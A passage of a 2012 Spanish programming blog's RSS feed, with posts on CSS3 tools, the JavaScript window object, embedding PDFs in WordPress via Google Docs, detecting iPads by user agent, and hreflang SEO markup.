<p>Visitar: <a href="http://css3please.com/" title="CSS3 Please" target="_blank" rel="nofollow">CSS3 Please</a></p>
<p><strong>CSS3 Guía de referencia</strong></p>
<p>Como no siempre es útil tener a mano una guía de referencia donde poder recordar las propiedades y sintaxis cuando no te acuerdes.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-10-300x191.png" alt="" title="css3-tools-10" width="300" height="191" class="aligncenter size-medium wp-image-3603" /></p>
<p><a href="http://www.pedroventura.com/guias-de-referencia/guia-de-referencia-css-3/" target="_blank">guía de referencia de CSS3</a> en la sección de guías de referencia</p>
<p><strong>CSS3 Pie</strong></p>
<p>Internet Explorer 6 hasta 8 casi no tiene soporte para CSS3, el problema es habrá usuarios que usen éstos navegadores o clientes que quieran que sus web sean modernas y que funcionen en todos los navegadores posibles. CSS3 Pie te permite tener la mayoría de las funcionalidades sobre IE. </p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/12/css3-tools-11-300x191.png" alt="" title="css3-tools-1" width="300" height="191" class="aligncenter size-medium wp-image-3591" /></p>
<p>Visitar: <a href="http://css3pie.com/" title="CSS3 Pie" target="_blank" rel="nofollow">CSS3 Pie</a></p>
<p><strong>CSS3 Builder</strong></p>
<p>Con esta herramientas, puedes diseñar complejas cajas en CSS3 usando un interface muy parecida a como se haría creando la caja con efectos de Photoshop. Algo a tener en cuenta para ahorrar tiempo.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-11-300x191.png" alt="" title="css3-tools-11" width="300" height="191" class="aligncenter size-medium wp-image-3593" /></p>
<p>Visitar: <a href="http://www.layerstyles.org/builder.html" title="CSS3 Builder" target="_blank" rel="nofollow">CSS3 Builder</a></p>
<p><strong>CSS3 Drop shadow generator</strong></p>
<p>Esta herramienta es muy similar a CSS3 builder, solo que usa sliders para visualizar el diseño de los degradados de sombras que vayas generando. Una vez terminado, copia el código CSS que se ha creado automáticamente y listo!</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-12-300x191.png" alt="" title="css3-tools-12" width="300" height="191" class="aligncenter size-medium wp-image-3595" /></p>
<p>Visitar: <a href="http://www.wordpressthemeshock.com/css-drop-shadow/" title="CSS3 Drop shadow generator" target="_blank" rel="nofollow">CSS3 Drop shadow generator</a></p>
<p><strong>Cascader</strong></p>
<p>Esta no es una herramienta específica para CSS3 pero me ha parecido muy interesante y creo que puede ser útil, por lo que es diga de mencionar! Cascader te permite meter una cadena de código HTML con estilos CSS inline, y lo que hace es limpiar el código HTML, sacando los estilos en linea, formatearlos en una hoja de estilos y generando sus respectivas clases en el HTML.<br />
No sería lo ideal para empezar a hacer tu CSS, pero te puede salvar cuando tienes de arreglar algún entuerto o marrón que te hayan dejado.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-2-300x191.png" alt="" title="css3-tools-2" width="300" height="191" class="aligncenter size-medium wp-image-3597" /></p>
<p>Visitar: <a href="http://www.cascader.co/" title="Cascader" target="_blank" rel="nofollow">Cascader</a></p>
<p><strong>Border Radius.com</strong></p>
<p>border-radius es una de las propiedades más populares de CSS3. Esta herramienta te permite crear rápidamente una caja con bordes redondeados siguiendo los estándares de CSS3 y generando un código apropiado.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-3-300x191.png" alt="" title="css3-tools-3" width="300" height="191" class="aligncenter size-medium wp-image-3599" /></p>
<p>Visitar: <a href="http://border-radius.com/" title="Border Radius.com" target="_blank" rel="nofollow">Border Radius.com</a></p>
<p><strong>Button Maker</strong></p>
<p>Con CSS3 puedes crear botones muy útiles, llamativos y cool stuff!! Esta herramienta te permite diseñar este tipo de botones de manera super sencilla: Escoge los colores, ajusta el radio, bordes, degradados, fuente, etc.. copia y pega tu código CSS.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-4-300x191.png" alt="" title="css3-tools-4" width="300" height="191" class="aligncenter size-medium wp-image-3600" /></p>
<p>Visitar: <a href="http://css-tricks.com/examples/ButtonMaker/" title="Button Maker" target="_blank" rel="nofollow">Button Maker</a></p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> declaraciones css3, manuales css3</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/desarrollo-web/herramientas-para-ayudar-y-simplificar-el-desarrollo-de-css3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>propiedades y métodos del objeto window de Javascript</title>
		<link>http://www.pedroventura.com/blog_programacion/javascript/propiedades-y-metodos-del-objeto-window-de-javascript/</link>
		<comments>http://www.pedroventura.com/blog_programacion/javascript/propiedades-y-metodos-del-objeto-window-de-javascript/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 07:00:25 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3564</guid>
		<description><![CDATA[Es el objeto que esta más alto dentro de toda la jerarquía y el encargado de representar la ventana del navegador donde se esta visualizando la pagina. Si utilizamos un navegador que maneje pestañas (como Firefox o IE8), cada una de ellas tendrá su propio objeto window ya que en definitiva se trata de paginas distintas. Para obtener sus colecciones de objetos, propriedades o métodos no es necesario hacer referencia siempre a window ya que JavaScript nos permite esta pequeña comodidad al tratarse del más alto de la jerarquía. PROPIEDADES A continuación listaré la mayoría de las propiedades que tenemos a mano con el objeto window que no son pocas: length: Fija o devuelve el numero de marcos de la ventana actual. name: Fija o devuelve el nombre de la ventana que nos servirá para referirnos a ella en el código. No lo confunda con el titulo de la pagina que aparece en la parte superior izquierda. menubar: Nos devuelve un objeto que presenta la barra de menú del navegador. toolbar: Nos devuelve un objeto que representa la barra de herramientas del navegador. statusbar: Igual que el anterior pero con la barra de estado. defaultStatus: Nos permite fijar u obtener [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>Es el objeto que esta más alto dentro de toda la jerarquía y el encargado de representar la ventana del navegador donde se esta visualizando la pagina. Si utilizamos un navegador que maneje pestañas (como Firefox o IE8), cada una de ellas tendrá su propio objeto <em>window</em> ya que en definitiva se trata de paginas distintas.<br />
Para obtener sus colecciones de objetos, propriedades o métodos no es necesario hacer referencia siempre a <em>window</em> ya que JavaScript nos permite esta pequeña comodidad al tratarse del más alto de la jerarquía.</p>
<p><strong>PROPIEDADES</strong></p>
<p><strong></strong><br />
A continuación listaré la mayoría de las propiedades que tenemos a mano con el objeto window que no son pocas:</p>
<ul>
<li><em>length</em>: Fija o devuelve el numero de marcos de la ventana actual.</li>
<li><em>name</em>: Fija o devuelve el nombre de la ventana que nos servirá para referirnos a ella en el código. No lo confunda con el titulo de la pagina que aparece en la parte superior izquierda.</li>
<li><em>menubar</em>: Nos devuelve un objeto que presenta la barra de menú del navegador.</li>
<li><em>toolbar</em>: Nos devuelve un objeto que representa la barra de herramientas del navegador.</li>
<li><em>statusbar</em>: Igual que el anterior pero con la barra de estado.</li>
<li><em>defaultStatus</em>: Nos permite fijar u obtener el mensaje por defecto que se muestra en la barra de estado. Esta propiedad no es compatible en Firefox por defecto.</li>
<li><em>status</em>: Nos permite modificar el texto de la barra de estado. Esta propiedad no es compatible en Firefox por defecto.</li>
<li><em>scrollbars</em>: Nos devuelve el objeto que simboliza las barras de desplazamiento.</li>
<li><em>location</em>, <em>history</em>, <em>document</em>: Nos devuelve los objetos <em>location</em>, <em>history</em> y <em>document</em>, los explicaré más adelante de forma individual.</li>
<li><em>outerHeight</em>, <em>outherWidth</em>: Establece o devuelve el tamaño en pixels, del espacio de toda la ventana en vertical u horizontal, respectivamente. Este valor incluye las barras de desplazamiento, de herramientas, etc..</li>
<li><em>innerHeight</em>, <em>innerWidth</em>: Obtiene la altura o anchura, en pixels, del espacio donde se visualiza propiamente la pagina. Este valor tiene en cuenta las barras de desplazamiento, si hubiera pero excluye todas las demás (menú, herramientas, estado, etc..)</li>
<li><em>parent</em>: Se refiere a la ventana donde está situado el marco (&lt;FRAMESET&gt;) en el que estamos trabajando. En caso de no haber marcos en la página, equivale a la propia ventana.</li>
<li><em>top</em>: Devuelve la ventana que se encuentra un nivel por encima del marco actual. Si no hay marcos en la pagina, devuelve la propia ventana.</li>
<li><em>self</em>: Se refiere a la ventana actual.</li>
<li><em>opener</em>: Hace referencia a la ventana que abrió la actual (ventana emergente o pop-up). Si la ventana no fue abierta por otra, obtendremos un valor <em>undefined</em>.</li>
<li><em>closed</em>: Nos indica si la ventana está cerrada o no a través de un valor booleano.</li>
</ul>
<p><strong>MÉTODOS</strong></p>
<p><strong><br />
</strong></p>
<p>Entre los métodos del objeto <em>window</em> encontraremos muchas funcionalidades de utilidad para aportar más dinamismo a nuestras páginas.</p>
<ul>
<li><em>alert(mensaje)</em>: Todo un clásico. Ahora ya sabes de donde viene! Muestra un mensaje en un cuadro de diálogo con el botón Aceptar.</li>
<li><em>confirm(mensaje)</em>: Muestra un mensaje en un cuadro de diálogo pero, a diferencia de <em>alert</em>, muestra los botones Aceptar y Cancelar. Además, nos permite saber sobre qué botón se ha hecho clic, ya que devuelve un valor true para Aceptar y false para Cancelar.</li>
<li><em>prompt(mensaje, valor_por_defecto)</em>: Este método es una extensión de <em>confirm</em>, ya que incluye una caja de texto par recoger un valor escrito por el usuario, el cual además es devuelto, Opcionalmente podemos indicar un valor que será mostrado por defecto en la caja de texto cuando se muestre el mensaje, Si el usuario hace clic sobre Cancelar obtendremos un valor null.</li>
<li><em>focus(), blur()</em>: Establece o retira el foco de un objeto. Se dice que un objeto tiene el foco cuando lo estamos utilizando (por ejemplo, escribiendo en un cuadro de texto) y lo pierde cuando dejamos de usarlo. Con estos métodos podemos forzar estas situaciones.</li>
<li><em>moveBy(x,y)</em>: Desplaza la ventana el numero de pixeles indicados. La x indica el desplazamiento horizontal y la y el vertical.</li>
<li><em>moveTo(x,y)</em>: Mueve la ventana a la una posición concreta.</li>
<li><em>resizeBy(x,y)</em>: Redimensiona la ventana tantos pixeles como indiquen los parámetros. La x se refiere a la anchura y la y a la altura.</li>
<li><em>resizeTo(x,y)</em>: Establece una anchura y altura concretas a la ventana.</li>
<li><em>scrollBy(x,y)</em>: Realiza un desplazamiento horizontal y/o vertical de tantos pixeles como marquen los parámetros.</li>
<li><em>scrollTo(x,y)</em>: Realiza un desplazamiento horizontal y /o vertical hasta una posición concreta.</li>
<li><em>open(URL, nombre, parámetros)</em>: Crea una nueva ventana (normalmente un pop-up) en la que se carga el <em>URL</em> especificado. Esta ventana recibe también un nombre para identificarla y, opcionalmente, una serie de parámetros que se pasan como una cadena de pares &#8220;propiedad=valor&#8221; separados por comas, siendo yes o 1 valores positivos, y no o 0 los negativos. Pasemos a ver los cuales podemos incluir:</li>
</ul>
<blockquote>
<ul>
<li><em>toolbar</em>: Nos permite indicar si la ventana tendrá barra de herramientas o no.</li>
<li><em>menubar</em>: Muestra u oculta la barra de menús de la nueva ventana.</li>
<li><em>location</em>: Nos permite mostrar u ocultar la barra de direcciones en la nueva ventana.</li>
<li><em>directories</em>: Nos deja indicar si la nueva ventana tendrá barras de dirección o no.</li>
<li><em>scrollbars</em>: Nos deja indicar si la nueva ventana tendrá barras de desplazamiento o no.</li>
<li><em>status</em>: Nos permite controlar la visibilidad de la barra de estado.</li>
<li><em>resizable</em>: Permite establecer si la nueva ventana podrá ser cambiada de tamaña (con el ratón) o no.</li>
<li><em>fullscreen</em>: Nos deja indicar si la ventana se verá a pantalla completa o no.</li>
<li><em>width, height</em>: Con esto establecemos el ancho o alta que tendrá la ventana en pixels.</li>
<li><em>top,letf</em>: Podemos indicar la distancia, en pixels, a la que estará  la ventana respecto al lado superior o izquierdo de la pantalla.</li>
</ul>
</blockquote>
<p>Este método devuelve un identificador para la ventana que hemos abierto (para poder hacer referencia a ella después) o un valor <em>null</em> si la ventana no pudo abrirse (por ejemplo a causa del un bloque de ventanas emergentes). Se puede decir que el método open crea una instancia del objeto <em>window</em>.</p>
<ul>
<li><em>close()</em>: Cierra la ventana actual.</li>
<li><em>print()</em>: Manda imprimir la página que estemos viendo.</li>
<li><em>setInterval(expresión, milisegundos)</em>: Evalúa una expresión continuamente después de que hayan pasado el numero de milisegundos especificados. Este método nos devuelve un identificador, que podrá ser utilizado para detener su ejecución.</li>
<li><em>setTimeout(expresión,milisegundos)</em>: Evalúa una expresión una única vez después de esperar a que pasen el numero de milisegundos indicados. Este método también nos devuelve un identificador para poder cancelar esta ejecución antes de que ocurra.</li>
<li><em>clearInterval(identificador), clearTimeout(identificador)</em>: Cancelan respectivamente la ejecución de <em>setInterval</em> y <em>setTimetout</em> a través del identificador pasado como parámetro.</li>
</ul>
<blockquote><p>Si quieres leer más sobre éstas últimas funciones puedes leer el siguiente artículo: <a title="funciones Javascript – setInterval() clearInterval() setTimeout() – 2" href="http://www.pedroventura.com/blog_programacion/javascript/funciones-javascript-%E2%80%93-setinterval-clearinterval-settimeout-2/" target="_blank">funciones Javascript – setInterval() clearInterval() setTimeout() – 2 </a></p></blockquote>
<p>Referencia: Guía Práctica Anaya &#8211; Javascript edición 2012</p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> objeto window propiedades y métodos, window opener pierde propiedades refrescar open</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/javascript/propiedades-y-metodos-del-objeto-window-de-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leer pdf online en WordPress mediante Google Docs</title>
		<link>http://www.pedroventura.com/blog_programacion/wordpress/leer-pdf-online-en-wordpress-mediante-google-docs/</link>
		<comments>http://www.pedroventura.com/blog_programacion/wordpress/leer-pdf-online-en-wordpress-mediante-google-docs/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 02:30:21 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3523</guid>
		<description><![CDATA[Esta es definitivamente la manera más fácil de visualizar un archivo PDF en nuestro sitio web. El PDF se carga a través de Google Docs y luego aparece en un iframe, en la web. Para empezar a mostrar pdf y leerlos online copia y pega el siguiente código en tu archivo functions.php de tu tema de wordpress A continuación, utilice la siguiente sintaxis para mostrar un PDF. Podrás especificar el ancho y alto que ocupará el iframe. Entre las etiquetas [embedpdfonline][/embedpdf] tendrás que especificar la url completa del pdf que quieres mostrar y listo. Se cargará un iframe generado por Google Docs donde podremos leer el pdf online mas o menos como si se tratara del Adobe reader. Incluye el siguiente código en cualquier parte de tu artículo o página de WordPress donde quieras mostrar el pdf Ejemplo de leer un pdf online, para ello utilizaré unas de las guías de referencia que podréis encontrar en mi blog: Guia SEO de Google &#160; Este código funciona mediante Shortcodes de la API de WordPress. Básicamente es un conjunto de funciones que crean macros de código para usar en el contenido de los artículos Documentación de la API de Shortcode de WordPress [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>Esta es definitivamente la manera más fácil de visualizar un archivo PDF en nuestro sitio web. El PDF se carga a través de Google Docs y luego aparece en un iframe, en la web.</p>
<p>Para empezar a mostrar pdf y leerlos online copia y pega el siguiente código en tu archivo functions.php de tu tema de wordpress</p>
<pre class="brush: php; title: ; notranslate">
function leer_pdf_online($attr, $url) {
    return '&lt;iframe src=&quot;http://docs.google.com/viewer?url=' . $url . '&amp;embedded=true&quot; style=&quot;width:' .$attr['width']. '; height:' .$attr['height']. ';&quot; frameborder=&quot;0&quot;&gt;Esto cargará un iframe&lt;/iframe&gt;';
}
add_shortcode('embedpdfonline', 'leer_pdf_online');
</pre>
<p>A continuación, utilice la siguiente sintaxis para mostrar un PDF. Podrás especificar el ancho y alto que ocupará el iframe. Entre las etiquetas [embedpdfonline][/embedpdf] tendrás que especificar la url completa del pdf que quieres mostrar y listo. Se cargará un iframe generado por Google Docs donde podremos leer el pdf online mas o menos como si se tratara del Adobe reader.</p>
<p>Incluye el siguiente código en cualquier parte de tu artículo o página de WordPress donde quieras mostrar el pdf</p>
<pre class="brush: plain; title: ; notranslate">
[embedpdfonline width=&quot;500px&quot; height=&quot;400px&quot;]http://www.pedroventura.com/archivos/guia_optimizacion_motores_busqueda.pdf[/embedpdf]
</pre>
<p>Ejemplo de leer un pdf online, para ello utilizaré unas de las guías de referencia que podréis encontrar en mi blog:<br />
<a href="http://www.pedroventura.com/guias-de-referencia/guia-seo-de-google/" target="_blank">Guia SEO de Google</a></p>
<iframe src="http://docs.google.com/viewer?url=http://www.pedroventura.com/archivos/guia_optimizacion_motores_busqueda.pdf&embedded=true" style="width:500px; height:400px;" frameborder="0">Your browser should support iFrame to view this PDF document</iframe>
<p>&nbsp;</p>
<p>Este código funciona mediante <em>Shortcodes </em>de la API de WordPress. Básicamente es un conjunto de funciones que crean macros de código para usar en el contenido de los artículos</p>
<p>Documentación de la API de Shortcode de WordPress <a href="http://codex.wordpress.org/Shortcode_API" target="_blank" rel="nofollow">http://codex.wordpress.org/Shortcode_API</a></p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> leer pdf online, leer pdf wordpress, visualizador documento wordpress, wordpress 3 desarrollo pdf, wordpress desarrollo de proyectos pdf, wordpress reproducir pdf</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/wordpress/leer-pdf-online-en-wordpress-mediante-google-docs/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Detectar iPad con PHP o Javascript</title>
		<link>http://www.pedroventura.com/blog_programacion/php/detectar-ipad-con-php-o-javascript/</link>
		<comments>http://www.pedroventura.com/blog_programacion/php/detectar-ipad-con-php-o-javascript/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 09:30:59 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[librerias y funciones]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3431</guid>
		<description><![CDATA[Si hace unos días escribía un artículo sobre como redireccionar una web en función del dispositivo móvil, ya sea iPad, iPhone o cualquier otro smartphone, hoy explicaré más en concreto como saber si se está visitando una web desde un iPad. Detectar iPad mediante PHP Detectar si es un iPad es muy sencillo, no es más complicado que saber si está desde un pc, mac o lo que sea. Para ello usaremos la variable de servidor USER_AGENT, $_SERVER['HTTP_USER_AGENT'] que es lo que el navegador envía al servidor para identificarse. En esta variable de servidor contiene bastante información acerca del usuario, como por ejemplo el sistema operativo que está usando y su versión, el motor de navegador y su versión, y otros datos de idioma y geoposicionamiento básico, etc. En mi caso la información que está enviando es la siguiente (desde mi navegador de mi pc con Linux): En el caso de que estemos visitando nuestra web desde un iPad será algo similar a lo siguiente: Con toda esta información ya podemos realizar una simple expresión regular y comprobar si el usuario está navegando desde un iPad. En PHP se haría de la siguiente manera: Si devuelve true es que es [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>Si hace unos días escribía un artículo sobre como <a href="http://www.pedroventura.com/blog_programacion/sysadmin/directiva-htaccess-para-redireccionar-web-en-dispositivo-movil/" target="_blank">redireccionar una web en función del dispositivo móvil</a>, ya sea iPad, iPhone o cualquier otro smartphone, hoy explicaré más en concreto como saber si se está visitando una web desde un iPad.</p>
<p><strong>Detectar iPad mediante PHP</strong></p>
<p>Detectar si es un iPad es muy sencillo, no es más complicado que saber si está desde un pc, mac o lo que sea. Para ello usaremos la variable de servidor USER_AGENT, $_SERVER['HTTP_USER_AGENT'] que es lo que el navegador envía al servidor para identificarse. En esta variable de servidor contiene bastante información acerca del usuario, como por ejemplo el sistema operativo que está usando y su versión, <a href="http://www.pedroventura.com/blog_programacion/internet/motores-de-navegadores-web-gecko-trident-webkit-y-otros/" target="_blank">el motor de navegador</a> y su versión, y otros datos de idioma y geoposicionamiento básico, etc.</p>
<p>En mi caso la información que está enviando es la siguiente (desde mi navegador de mi pc con Linux):</p>
<pre class="brush: plain; title: ; notranslate">
[HTTP_USER_AGENT] =&gt; Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
</pre>
<p>En el caso de que estemos visitando nuestra web desde un iPad será algo similar a lo siguiente:</p>
<pre class="brush: plain; title: ; notranslate">

Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10
</pre>
<p>Con toda esta información ya podemos realizar una simple expresión regular y comprobar si el usuario está navegando desde un iPad. En PHP se haría de la siguiente manera:</p>
<pre class="brush: php; title: ; notranslate">
function detectar_iPad() {
return (bool) strpos($_SERVER['HTTP_USER_AGENT'],'iPad');
}
</pre>
<p>Si devuelve <em>true</em> es que es un iPad.</p>
<p><strong>Detectar iPad mediante Javascript</strong></p>
<pre class="brush: plain; title: ; notranslate">

function isIPad(){

    if(navigator.userAgent.match(/iPad/i) != null){
        return true;
    }else{ return false;}
}
</pre>
<p><strong>Detectar iPad mediante Apache, directiva en .htaccess</strong></p>
<p>Y la forma de hacer esto a nivel global es metiendo una directiva de Apache, de esta manera no lo tendremos que hacer ni con php ni con Javascript.</p>
<pre class="brush: plain; title: ; notranslate">
RewriteCond %{HTTP_USER_AGENT} ^.*iPad.*$
RewriteRule ^(.*)$ http://ipad.dominio.com [R=301]
</pre>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> javascript ipad, java script para ipad, programa php para ipad, php ipad, javascript para ipad, apache detectar iphone ipad, ipad quitar version web, ipad detectar como pc al navegar, como saber si mi ipad tiene java, como detecta que estas navegando con un ipad</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/php/detectar-ipad-con-php-o-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mejoras SEO para ofrecer un contenido en multi-idioma etiqueta hreflang</title>
		<link>http://www.pedroventura.com/blog_programacion/seo/mejoras-seo-para-ofrecer-un-contenido-en-multi-idioma-etiqueta-hreflang/</link>
		<comments>http://www.pedroventura.com/blog_programacion/seo/mejoras-seo-para-ofrecer-un-contenido-en-multi-idioma-etiqueta-hreflang/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 09:30:54 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3422</guid>
		<description><![CDATA[Desde el blog de webmaster, Google nos propone una mejora para optimizar los sites que ofrecen el mismo contenido en diferentes idiomas. Con lo que podremos mejorar la gestión del contenido en varios idiomas. Ahora bien esto se aplica en dos casos: En sitios web que se orienten a varias regiones y que usen prácticamente el mismo contenido (por ejemplo, páginas web en inglés que se orienten a Australia, a Canadá y a EE.UU. y que solo se diferencien en los precios) En sitios web orientados a varias regiones que incluyan contenido completamente traducido o que muestren un contenido monolingüe con diferencias notables enfocado a varias regiones (por ejemplo, la página web de un producto en alemán, en francés y en inglés). Para indicar el idioma y la ubicación hay que agregar el atributo hreflang al elemento de enlace rel=&#8221;alternate&#8221; de la etiqueta html &#60;/link&#62; Ejemplos: El atributo hreflang permite especificar el idioma o el país, y la URL asociada. Éstas URLs asociadas o alternativas nos permiten consolidar los indicadores de estas páginas y ofrecer la URL adecuada a los usuarios que hagan una búsqueda. Estas URL pueden pertenecer al mismo sitio o a otro dominio. Para páginas que su contenido [...]
Related posts:<ol>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/utilizar-mod_deflate-para-comprimir-contenido-web-desede-apache/' rel='bookmark' title='Utilizar mod_deflate para comprimir contenido Web desede Apache'>Utilizar mod_deflate para comprimir contenido Web desede Apache</a> <small>Uno de los métodos más eficaces para reducir el uso...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/internet/google-io-lanzamientos-y-mejoras-previstas/' rel='bookmark' title='Google I/O Lanzamientos y mejoras previstas'>Google I/O Lanzamientos y mejoras previstas</a> <small>Bueno, ya han pasado unos días de que ha terminado...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/internet/mejoras-en-google-friend-connect/' rel='bookmark' title='Mejoras en Google Friend Connect'>Mejoras en Google Friend Connect</a> <small>Google Friend Connect está mejora e incorporando nuevas funcionalidades a...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/seo/plugin-cache-en-wordpress-mejora-la-velocidad-de-tu-blog-y-el-seo/' rel='bookmark' title='plugin cache en wordpress. Mejora la velocidad de tu blog… y el SEO'>plugin cache en wordpress. Mejora la velocidad de tu blog… y el SEO</a> <small>Desde hace unas semanas que he empezado a usar un...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/como-vaciar-o-eliminar-el-contenido-de-un-archivo-existente-en-unix-linux/' rel='bookmark' title='Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux'>Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux</a> <small>Si quieres eliminar el contenido que un archivo UNIX, puedes...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Desde el blog de webmaster, Google nos propone una mejora para optimizar los sites que ofrecen el mismo contenido en diferentes idiomas. Con lo que podremos mejorar la gestión del contenido en varios idiomas.</p>
<p>Ahora bien esto se aplica en dos casos:</p>
<ul>
<li>En sitios web que se orienten a varias regiones y que usen prácticamente el mismo contenido (por ejemplo, páginas web en inglés que se orienten a Australia, a Canadá y a EE.UU. y que solo se diferencien en los precios)</li>
<li>En sitios web orientados a varias regiones que incluyan contenido completamente traducido o que muestren un contenido monolingüe con diferencias notables enfocado a varias regiones (por ejemplo, la página web de un producto en alemán, en francés y en inglés).</li>
</ul>
<p>Para indicar el idioma y la ubicación hay que agregar el atributo hreflang al elemento de enlace rel=&#8221;alternate&#8221; de la etiqueta html &lt;/link&gt;</p>
<p>Ejemplos:</p>
<pre class="brush: plain; title: ; notranslate">

&lt;link rel=&quot;alternate&quot; hreflang=&quot;es&quot; href=&quot;http://www.dominio.com/&quot; /&gt;
&lt;link rel=&quot;alternate&quot; hreflang=&quot;es-ES&quot; href=&quot;http://es-es.dominio.com/&quot; /&gt;
&lt;link rel=&quot;alternate&quot; hreflang=&quot;es-MX&quot; href=&quot;http://es-mx.dominio.com/&quot; /&gt;
&lt;link rel=&quot;alternate&quot; hreflang=&quot;en&quot; href=&quot;http://en.dominio.com/&quot; /&gt;
</pre>
<p>El atributo hreflang permite especificar el idioma o el país, y la URL asociada. Éstas URLs asociadas o alternativas nos permiten consolidar los indicadores de estas páginas y ofrecer la URL adecuada a los usuarios que hagan una búsqueda. Estas URL pueden pertenecer al mismo sitio o a otro dominio.</p>
<p>Para páginas que su contenido es prácticamente el mismo, cosa que está mal valorada por Google y que perjudica en el posicionamiento, también habrá que incluir la etiqueta rel=&#8221;canonical&#8221;, de esta manera en la búsqueda siempre se indica una url o un site como predefinido (al que quieres darle más prioridad) y al que apuntan el resto de páginas con contenido similar.</p>
<pre class="brush: plain; title: ; notranslate">

&lt;link rel=&quot;canonical&quot; hreflang=&quot;es&quot; href=&quot;http://www.dominio.com/&quot; /&gt;
&lt;link rel=&quot;alternate&quot; hreflang=&quot;es-ES&quot; href=&quot;http://es-es.dominio.com/&quot; /&gt;
&lt;link rel=&quot;alternate&quot; hreflang=&quot;es-MX&quot; href=&quot;http://es-mx.dominio.com/&quot; /&gt;
</pre>
<p><strong>Nota de Google</strong></p>
<blockquote><p>Cuando Google detecte un grupo de páginas con una única URL canónica, nuestros algoritmos mostrarán el título y un fragmento de la versión canónica en los resultados de búsqueda. Por tanto, te recomendamos que no incluyas contenido específico de una región en el título ni en las etiquetas de metadescripción de la URL canónica. Por ejemplo, utiliza &#8220;Example Widget Inc&#8221; en lugar de &#8220;Example Widget USA Inc&#8221; o &#8220;Example Widget UK&#8221;.</p></blockquote>
<p>Valores que puede tomar el atributo &#8220;hreflang&#8221;</p>
<p>El valor del atributo hreflang identifica el idioma y, opcionalmente, la región de una URL alternativa. Por ejemplo:</p>
<p>es: contenido en español, independientemente de la región<br />
es-MX: contenido en español para usuarios mexicanos<br />
es-ES: contenido en español para usuarios españoles</p>
<p>Referencia de interés.</p>
<p><a href="http://googlewebmaster-es.blogspot.com/2011/12/nuevo-marcado-para-contenido.html" rel="nofollow" target="_blank">http://googlewebmaster-es.blogspot.com/2011/12/nuevo-marcado-para-contenido.html</a></p>
<p><a href="http://support.google.com/webmasters/bin/answer.py?hl=es&#038;answer=189077" target="_blank" rel="nofollow">http://support.google.com/webmasters/bin/answer.py?hl=es&#038;answer=189077</a></p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> Multi idiomas para android, rel=alternate hreflang</p><p>Related posts:<ol>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/utilizar-mod_deflate-para-comprimir-contenido-web-desede-apache/' rel='bookmark' title='Utilizar mod_deflate para comprimir contenido Web desede Apache'>Utilizar mod_deflate para comprimir contenido Web desede Apache</a> <small>Uno de los métodos más eficaces para reducir el uso...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/internet/google-io-lanzamientos-y-mejoras-previstas/' rel='bookmark' title='Google I/O Lanzamientos y mejoras previstas'>Google I/O Lanzamientos y mejoras previstas</a> <small>Bueno, ya han pasado unos días de que ha terminado...</small></li>
